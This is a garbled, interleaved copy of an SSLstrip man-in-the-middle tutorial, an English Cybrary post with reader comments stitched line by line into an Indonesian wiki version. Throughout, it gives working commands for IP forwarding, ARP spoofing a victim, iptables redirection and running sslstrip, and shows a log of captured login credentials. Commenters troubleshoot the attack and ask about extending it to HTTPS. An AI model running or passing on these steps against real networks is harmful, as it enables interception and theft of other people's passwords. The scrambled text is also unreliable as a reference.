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| Cybrary
| | Langkah untuk melakukan serangan menggunakan ssltrip adalah sebagai berikut. |
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| | Cek routing, |
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| CH4NN3LS
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| Tutorial: Using SSLSTRIP in a “Man in the Middle” Attack
| | route -n |
| Profile image for skyle17
| | netstat -nr |
| fr4nc1stein
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| June 23, 2015 | Views: 45270
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| Begin Learning Cyber Security for FREE Now!
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| SSLSTRIP in a Man in the Middle Attack
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| | ==aktifkan ip forwarding== |
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| Hello guys,
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| In this tutorial, I’m going to teach you how to use a SSLSTRIP via the Kali OS.
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| We’ll use SSLSTRIP for sniff or steal password in a Target PC via LAN (Local Area Network). SSLSTRIP is known in hijacking HTTP traffic on a network. For testing, we’ll try to use VMWARE and download the Kali Operating System. I’m using BT5 (Backtrack) in my presentation.
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| Requirements:
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| 1. Kali OS – Click here
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| 2. Syntax Code from the Author of the SSLSTRIP
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| 3. Common sense
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| We’re assuming SSLSTRIP is already installed in Kali Operating system:
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| Step 1: Open Terminal
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| Step 2: In order to run SSLSTRIP in MITM, you need to know the Target IP and the IP of Gateway of the router. To find the router gateway IP, here’s the code:
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| route -n
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| | enable forward paket, |
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| netstat -nr
| | echo 1 > /proc/sys/net/ipv4/ip_forward |
| | sysctl -w net.ipv4.ip_forward=1 |
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| | ==arp spoofing== |
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| | lakukan arpspoof, |
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| Step 3: Port forward for accept packets and forward as vise versa
| | arpspoof -i eth0 -t victimip routerip |
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| disabled = 0
| | arpspoof -i eth0 -t 192.168.0.106 192.168.0.100 |
| | 192.168.0.106 = ip victim |
| | 192.168.0.100 = ip router / gateway / server yang akan di monitor |
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| enabled = 1
| | Cek apakah berhasil, arp -n di 192.168.0.106 |
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| Code: echo “1” > /proc/sys/net/ipv4/ip_forward
| | arp -n |
| | Address HWtype HWaddress Flags Mask Iface |
| | 192.168.0.13 ether ec:a8:6b:f8:2e:fc C enp3s0 |
| | 192.168.0.223 ether d0:04:92:19:cc:38 C enp3s0 |
| | 192.168.0.7 ether 4c:e6:76:1f:15:4c C enp3s0 |
| | 192.168.0.100 ether 66:31:65:39:62:38 C enp3s0 |
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| See image below:
| | Setelah arpspoof di jalankan, lakukan arp -n |
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| image 1
| | arp -n |
| | Address HWtype HWaddress Flags Mask Iface |
| | 192.168.0.13 ether ec:a8:6b:f8:2e:fc C enp3s0 |
| | 192.168.0.146 ether 08:00:27:45:7a:dc C enp3s0 |
| | 192.168.0.223 ether d0:04:92:19:cc:38 C enp3s0 |
| | 192.168.0.7 ether 4c:e6:76:1f:15:4c C enp3s0 |
| | 192.168.0.100 ether 08:00:27:45:7a:dc C enp3s0 |
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| | Perhatikan MAC address 192.168.0.100 berubah :) .. |
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| Step 4: In a real attack, we’d be using ARPSPOOF against the layer 2 segments. In the images below, I modified the $routerip, but we make a simple instruction. At step 2, we find the router IP is 192.168.109.2. To use ARSPOOF, follow this code.
| | ==redirect packet== |
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| Code: arpspoof -i eth0 -t victimip routerip
| | redirect inbound traffic ke port 80 (http), menuju port 8080 (sslstrip). |
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| See images below:
| | iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080 |
| | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 |
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| image 2
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| three 3
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| Note: The $routerip was already modified in advanced tutorial. Don’t follow the image – you can use this example:
| | Untuk redirect HTTPS (port 443) kayanya masih bermasalah baik untuk sslstrip maupun mitmproxy |
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| Code: arpspoof -t eth0 -t 192.168.109.18 192.168.109.2
| | ==sslstrip== |
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| 192.168.109.18 = victim ip
| | Jalankan sslstrip agar listen pada port 8080 |
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| 192.168.109.2 =router ip or gateway
| | cd ~ |
| | sslstrip -l 8080 (untuk kali linux) |
| | python sslstrip.pl –l 8080 (untuk backtrack) |
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| | ==lihat log== |
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| Step 5: Modify the IP table. Let’s understand iptables: iptables take traffic inbound to our Kali Linux machine, on which the destination is port 80 (also known as the HTTP web port. It redirects traffic to the port 1000, which is listening through the use of SSLSTRIP).
| | hasil penyadapan bisa dilihat di sslstrip.log, misalnya, |
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| Code: iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 1000
| | cd ~ |
| | tail sslstrip.log |
| | more sslstrip.log |
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| See image below:
| | 2017-04-04 17:07:16,065 POST Data (192.168.0.100): |
| | login_username=onno&secretkey=123456&js_autodetect_results=1&just_logged_in=1 |
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| imahe 4
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| Step 6: Voila, peak time. We’re going to open our SSLSTRIP.
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| In Kali:
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| Application -> kali linux -> information gathering ->sslstrip analysis – >sslstrip
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| In BT:
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| Application -> Backtrack -> Exploitation tools -> Web Exploitation Tools ->ssltrip
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| See the image below:
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| image 5
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| Run the following to start the SSLSTRIP, which we set at port 1000.
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| In Kali:
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| Code: sslstrip -l 1000
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| In BT:
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| Code: python sslstrip.pl –l 1000
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| Step 7: An example of Victim login at hotmail.com.
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| See image below:
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| image 6
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| Step 8: Open the sslstrip.log
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| See image below:
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| image 7
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| The username and password is in cleartext – the blur portion in picture.
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| Thank you!
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| Regards from Philippine Security Researcher
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| /fr4nc1stein
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| /skyle17
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| 18 Comments
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| Profile image for mrdnf
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| mrdnf
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| 11:27 am on August 24, 2016
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| I followed the instructions but there was nothing in sslstrip.log; any idea please?
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| This is my Kali’s version:
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| Linux kaliv2 4.0.0-kali1-amd64 #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) x86_64 GNU/Linux
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| and Win7 client:
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| Host Name: WIN7
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| OS Name: Microsoft Windows 7 Enterprise
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| OS Version: 6.1.7600 N/A Build 7600
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| OS Manufacturer: Microsoft Corporation
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| OS Configuration: Member Workstation
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| OS Build Type: Multiprocessor Free
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| Registered Owner:
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| Registered Organization:
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| Product ID: 55041-049-8865546-86969
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| Original Install Date: 4/15/2010, 4:29:26 PM
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| System Boot Time: 8/24/2016, 7:08:18 PM
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| System Manufacturer: VMware, Inc.
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| System Model: VMware Virtual Platform
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| System Type: X86-based PC
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| Processor(s): 1 Processor(s) Installed.
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| [01]: x64 Family 6 Model 42 Stepping 7 GenuineIntel ~
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| 2195 Mhz
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| BIOS Version: Phoenix Technologies LTD 6.00, 5/20/2014
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| Windows Directory: C:\Windows
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| System Directory: C:\Windows\system32
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| Boot Device: \Device\HarddiskVolume1
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| System Locale: en-us;English (United States)
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| Input Locale: en-us;English (United States)
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| Time Zone:
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| Total Physical Memory: 511 MB
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| Available Physical Memory: 298 MB
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| Virtual Memory: Max Size: 1,535 MB
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| Virtual Memory: Available: 879 MB
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| Virtual Memory: In Use: 656 MB
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| Page File Location(s): C:\pagefile.sys
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| Domain:
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| Logon Server:
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| Hotfix(s): N/A
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| Network Card(s): 1 NIC(s) Installed.
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| [01]: Intel(R) PRO/1000 MT Network Connection
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| Connection Name: Local Area Connection 2
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| DHCP Enabled: Yes
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| DHCP Server: 192.168.234.254
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| IP address(es)
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| [01]: 192.168.234.137
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| Profile image for zaakkniight
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| zaakkniight
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| 9:25 am on August 15, 2016
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| arpspoof -t eth0 -t 192.168.109.18 192.168.109.2
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| arpspoof -i eth0 -t 192.168.109.18 192.168.109.2 (I for interface)
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| Log in to Reply
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| Profile image for mattbelle
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| mattbelle
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| 12:11 pm on July 23, 2016
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| the target’s browser gives a warning telling the victim that this site isn’t secured and refuses to proceed
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| Log in to Reply
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| Profile image for grench
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| Grench
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| 7:42 pm on September 20, 2016
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| That is a problem
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| Log in to Reply
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| Profile image for du54nr
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| Du54nR
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| 4:45 pm on May 4, 2016
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| Is it also working with https (443) links ? Facebook like ?
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| Log in to Reply
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| Profile image for phexcom
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| TYEB
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| 3:56 pm on June 24, 2016
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| What it does is that it actually removes the https and replace it with http. Like the name implies SSLstrip. So it just strip off the ssl
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| Log in to Reply
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| Profile image for
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| ken94
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| 12:38 pm on April 29, 2016
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| i think it works on only old versions of browsers,i do update my system,softwares so my my browser firefox stub 46.0 (latest currently)does not fall for the attack,gives some errors when i attempt to open https sites!
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| Log in to Reply
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| Profile image for grench
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| Grench
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| 7:44 pm on September 20, 2016
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| Firefox is really secure and updated with frequency to detect MITM attacks.
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| Log in to Reply
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| Page 3 of 3«123
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| | Entah kenapa sslstrip ini suka crash :( ... |
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| | Solusinya, coba tambahkan > /dev/null |
| Register
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| | sslstrip -k -f -l 10000 2> /dev/null |
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| Line 347: |
Line 89: |
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| * https://www.cybrary.it/0p3n/sslstrip-in-man-in-the-middle-attack/ | | * https://www.cybrary.it/0p3n/sslstrip-in-man-in-the-middle-attack/ |
| | * https://www.youtube.com/watch?v=rMb6V9PTeg4 |
Sumber: https://www.cybrary.it/0p3n/sslstrip-in-man-in-the-middle-attack/
Langkah untuk melakukan serangan menggunakan ssltrip adalah sebagai berikut.
Cek routing,
route -n
netstat -nr
aktifkan ip forwarding
enable forward paket,
echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1
arp spoofing
lakukan arpspoof,
arpspoof -i eth0 -t victimip routerip
arpspoof -i eth0 -t 192.168.0.106 192.168.0.100
192.168.0.106 = ip victim
192.168.0.100 = ip router / gateway / server yang akan di monitor
Cek apakah berhasil, arp -n di 192.168.0.106
arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.0.13 ether ec:a8:6b:f8:2e:fc C enp3s0
192.168.0.223 ether d0:04:92:19:cc:38 C enp3s0
192.168.0.7 ether 4c:e6:76:1f:15:4c C enp3s0
192.168.0.100 ether 66:31:65:39:62:38 C enp3s0
Setelah arpspoof di jalankan, lakukan arp -n
arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.0.13 ether ec:a8:6b:f8:2e:fc C enp3s0
192.168.0.146 ether 08:00:27:45:7a:dc C enp3s0
192.168.0.223 ether d0:04:92:19:cc:38 C enp3s0
192.168.0.7 ether 4c:e6:76:1f:15:4c C enp3s0
192.168.0.100 ether 08:00:27:45:7a:dc C enp3s0
Perhatikan MAC address 192.168.0.100 berubah :) ..
redirect packet
redirect inbound traffic ke port 80 (http), menuju port 8080 (sslstrip).
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
Untuk redirect HTTPS (port 443) kayanya masih bermasalah baik untuk sslstrip maupun mitmproxy
sslstrip
Jalankan sslstrip agar listen pada port 8080
cd ~
sslstrip -l 8080 (untuk kali linux)
python sslstrip.pl –l 8080 (untuk backtrack)
lihat log
hasil penyadapan bisa dilihat di sslstrip.log, misalnya,
cd ~
tail sslstrip.log
more sslstrip.log
2017-04-04 17:07:16,065 POST Data (192.168.0.100):
login_username=onno&secretkey=123456&js_autodetect_results=1&just_logged_in=1
Crashing
Entah kenapa sslstrip ini suka crash :( ...
Solusinya, coba tambahkan > /dev/null
sslstrip -k -f -l 10000 2> /dev/null
Referensi
